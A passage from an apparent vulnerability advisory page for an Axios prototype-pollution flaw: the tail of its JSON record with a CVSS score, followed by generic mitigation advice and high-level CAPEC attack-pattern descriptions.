"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Prototype pollution auth subfields can inject Basic auth"
}
Mitigation
By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
Mitigation
By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
Mitigation
Strategy: Input Validation
When handling untrusted objects, validating using a schema can be used.
Mitigation
By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
Mitigation
Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.